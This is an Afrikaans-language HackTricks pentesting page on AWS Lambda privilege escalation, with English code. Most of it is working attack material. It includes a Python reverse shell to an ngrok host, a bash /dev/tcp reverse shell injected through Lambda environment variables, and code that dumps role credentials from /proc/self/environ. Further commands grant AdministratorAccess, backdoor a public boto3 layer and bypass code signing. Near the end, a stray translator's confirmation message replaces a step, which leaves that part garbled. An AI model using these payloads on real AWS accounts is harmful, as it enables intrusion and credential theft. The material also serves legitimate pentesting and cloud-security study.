# AWS - Lambda Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## lambda

Meer inligting oor lambda in:

{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}

### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)

Gebruikers met die **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissies kan hul voorregte eskaleer.\
Hulle kan **'n nuwe Lambda function skep en dit 'n bestaande IAM role toewys**, waardeur die funksie die permissies kry wat met daardie rol geassosieer is. Die gebruiker kan dan **kode skryf en oplaaI na hierdie Lambda function (byvoorbeeld met 'n rev shell)**.\
Sodra die funksie ingestel is, kan die gebruiker **die uitvoering daarvan trigger** en die beoogde aksies laat plaasvind deur die Lambda function via die AWS API aan te roep. Hierdie benadering laat die gebruiker effektief toe om take indirek deur die Lambda function uit te voer, met die vlak van toegang wat aan die geassosieerde IAM role verleen is.\\

'n aanvaller kan dit misbruik om 'n **rev shell en die token te steel**:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
```

```bash
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
Jy kan ook **abuse the lambda role permissions** vanaf die lambda function self.\
As die lambda role genoeg permissions gehad het, kon jy dit gebruik om admin rights aan jouself toe te ken:
```python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
Dit is ook moontlik om die lambda se role credentials te leak sonder 'n eksterne verbinding. Dit sal nuttig wees vir **Network isolated Lambdas** wat op interne take gebruik word. As daar onbekende security groups is wat jou reverse shells filter, sal hierdie stuk kode jou toelaat om die credentials direk as die output van die lambda te leak.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
```

```bash
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**Potensiële impak:** Direkte privesc na die ewekansige lambda-diensrol wat gespesifiseer is.

> [!CAUTION]
> Let wel: alhoewel dit interessant mag lyk, **`lambda:InvokeAsync`** **laat nie** op sigself toe om **`aws lambda invoke-async`** uit te voer nie — jy benodig ook `lambda:InvokeFunction`

### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`

Soos in die vorige scenario, kan jy **verleen jouself die `lambda:InvokeFunction` toestemming** as jy die toestemming **`lambda:AddPermission`** het.
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**Potensiële impak:** Direkte privesc na die arbitrêre Lambda diensrol wat gespesifiseer is.

### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`

Gebruikers met **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissies (en moontlik `dynamodb:PutItem` en `dynamodb:CreateTable`) kan indirek **escalate privileges** selfs sonder `lambda:InvokeFunction`.\
Hulle kan 'n **Lambda function met kwaadaardige code skep en dit 'n bestaande IAM role toewys**.

In plaas daarvan om die Lambda direk aan te roep, stel die gebruiker 'n bestaande DynamoDB tabel op of gebruik dit, en koppel dit aan die Lambda deur 'n event source mapping. Hierdie opstelling verseker dat die Lambda function **outomaties getrigger word wanneer 'n nuwe item** in die tabel ingevoeg word, hetsy deur die gebruiker se aksie of 'n ander proses, en roep sodoende die Lambda function indirek aan en voer die kode uit met die permissies van die gegewe IAM role.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
Indien DynamoDB reeds aktief is in die AWS-omgewing, hoef die gebruiker slegs die event source mapping vir die Lambda-funksie op te stel. Indien DynamoDB egter nie in gebruik is nie, moet die gebruiker 'n nuwe tabel skep met streaming aangeskakel:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Nou is dit moontlik **om die Lambda function aan die DynamoDB table te koppel** deur **'n event source mapping te skep**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
Met die Lambda-funksie wat aan die DynamoDB stream gekoppel is, kan die aanvaller **indirek die Lambda uitlok deur die DynamoDB stream te aktiveer**. Dit kan bereik word deur **'n item in te voeg** in die DynamoDB table:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
**Potential Impact:** Direkte privesc na die gespesifiseerde lambda service role.

### `lambda:AddPermission`

'n attacker met hierdie toestemming kan **homself (of ander) enige permissions toeken** (dit genereer resource based policies om toegang tot die resource te verleen):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**Potensiële impak:** Direkte privesc na die lambda diensrol deur toestemming te gee om die kode te wysig en dit uit te voer.

### `lambda:AddLayerVersionPermission`

’n aanvaller met hierdie toestemming kan **homself (of ander) die toestemming `lambda:GetLayerVersion` verleen**. Hy kan toegang kry tot die layer en na kwesbaarhede of sensitiewe inligting soek.
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```
**Potensiële impak:** Potensiële toegang tot sensitiewe inligting.

### `lambda:UpdateFunctionCode`

Gebruikers wat die **`lambda:UpdateFunctionCode`** permissie het, het die potensiaal om **die kode van 'n bestaande Lambda-funksie wat aan 'n IAM role gekoppel is, te wysig.**\
Die aanvaller kan **die kode van die Lambda wysig om die IAM credentials te exfiltrate**.

Alhoewel die aanvaller dalk nie die direkte vermoë het om die funksie te invoke nie, as die bestaande Lambda-funksie reeds in werking is, is dit waarskynlik dat dit deur bestaande workflows of events getrigger sal word, en sodoende indirek die uitvoering van die gewysigde kode fasiliteer.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access
```
**Potensiële impak:** Direkte privesc na die Lambda-diensrol wat gebruik word.

### `lambda:UpdateFunctionConfiguration`

#### RCE via env variables

Met hierdie permissies is dit moontlik om omgewingsveranderlikes by te voeg wat veroorsaak dat die Lambda arbitrêre kode uitvoer. Byvoorbeeld, in python is dit moontlik om die omgewingsveranderlikes `PYTHONWARNING` en `BROWSER` te misbruik om 'n python-proses arbitrêre opdragte te laat uitvoer:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
Vir ander scripting languages is daar ander env variables wat jy kan gebruik. Vir meer inligting, kyk na die subafdelings van scripting languages in:

{{#ref}}
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}

#### RCE via Lambda Layers

[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) laat jou toe om **code** in jou lamdba funksie in te sluit, maar **dit afsonderlik te stoor**, sodat die funksie se code klein kan bly en **verskeie funksies code kan deel**.

Binne lambda kan jy die paaie nagaan vanwaar python code gelaai word met 'n funksie soos die volgende:
```python
import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
Hierdie is die plekke:

1. /var/task
2. /opt/python/lib/python3.7/site-packages
3. /opt/python
4. /var/runtime
5. /var/lang/lib/python37.zip
6. /var/lang/lib/python3.7
7. /var/lang/lib/python3.7/lib-dynload
8. /var/lang/lib/python3.7/site-packages
9. /opt/python/lib/python3.7/site-packages
10. /opt/python

Byvoorbeeld, die biblioteek boto3 word gelaai vanaf `/var/runtime/boto3` (4de posisie).

#### Exploitation

Dit is moontlik om die toestemming `lambda:UpdateFunctionConfiguration` te misbruik om **'n nuwe layer by te voeg** by 'n lambda-funksie. Om ewekansige kode uit te voer, moet hierdie layer 'n **biblioteek bevat wat die lambda gaan importeer.** As jy die kode van die lambda kan lees, kan jy dit maklik vind. Let ook daarop dat dit moontlik is dat die lambda **al 'n layer gebruik** en jy die layer kan **aflaai** en jou kode daar kan **byvoeg**.

Byvoorbeeld, stel ons dat die lambda die biblioteek boto3 gebruik — dit sal 'n plaaslike layer skep met die nuutste weergawe van die biblioteek:
```bash
pip3 install -t ./lambda_layer boto3
```
Jy kan `./lambda_layer/boto3/__init__.py` oopmaak en **add the backdoor in the global code** (byvoorbeeld 'n funksie om exfiltrate credentials of om 'n reverse shell te kry).

Dan, zip daardie `./lambda_layer` gids en **upload the new lambda layer** in jou eie account (of in die slagoffer s'n, maar jy mag dalk nie toestemming daarvoor hê nie).\
Let wel dat jy 'n python folder moet skep en die libraries daar moet plaas om /opt/python/boto3 te override. Ook moet die layer **kompatibel met die python-weergawe** wees wat deur die lambda gebruik word, en as jy dit na jou account upload, moet dit in die **dieselfde regio:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
Nou, maak die opgelaaide lambda layer **vir enige rekening toeganklik**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
En koppel die lambda layer aan die victim lambda function:
```bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
Die volgende stap sou wees om óf self die **roep die funksie aan** as ons kan of te wag totdat i**t aangeroep word** op normale wyse–wat die veiliger metode is.

A **more stealth way to exploit this vulnerability** kan gevind word in:

{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}

**Potensiële impak:** Direk privesc na die gebruikte lambda service role.

### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`

Miskien met daardie permissies kan jy 'n funksie skep en dit uitvoer deur die URL aan te roep... maar ek kon nie 'n manier vind om dit te toets nie, so laat weet my as jy dit wel doen!

### Lambda MitM

Sommige lambdas gaan **sensitiewe info van gebruikers in parameters ontvang.** As jy RCE kry in een daarvan, kan jy die info wat ander gebruikers daaraan stuur exfiltrate; kyk daarvoor in:

{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}

## Verwysings

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)






### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing

If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.

Permissions (one of):
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`

Aantekeninge:
- Vir Path B, jy benodig nie 'n AWS Signer profile as die CSC policy op `WARN` gestel is (unsigned artifacts allowed).

Stappe (REGION=us-east-1, TARGET_FN=<target-lambda-name>):

Berei 'n klein payload voor:
```bash
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
```
Pad A) Verwyder CSC en werk dan die code by:
```bash
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
Pad B) Degradeer na Warn en werk die kode by (as delete nie toegelaat is nie):
```bash
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
Bevestig: Ek sal die relevante Engelse teks uit die aangeduide README.md na Afrikaans vertaal en presies dieselfde markdown- en HTML-sintaksis behou. Ek sal nie code, tegniekname, algemene hacking-woorde, cloud/SaaS-platvormname (bv. Workspace, aws, gcp), die woord "leak", pentesting, skakels, paadjies of enige merkers/tags (bv. {#tabs}, {#ref}, {#include}) vertaal of verander nie. Ek sal geen ekstra inhoud byvoeg nie.
```bash
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
```
Potensiële impak: Vermoë om arbitrary unsigned code in 'n funksie te push en run wat veronderstel was om signed deployments af te dwing, wat moontlik kan lei tot code execution met die function role's permissions.

Opruiming:
```bash
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
```
{{#include ../../../../banners/hacktricks-training.md}}
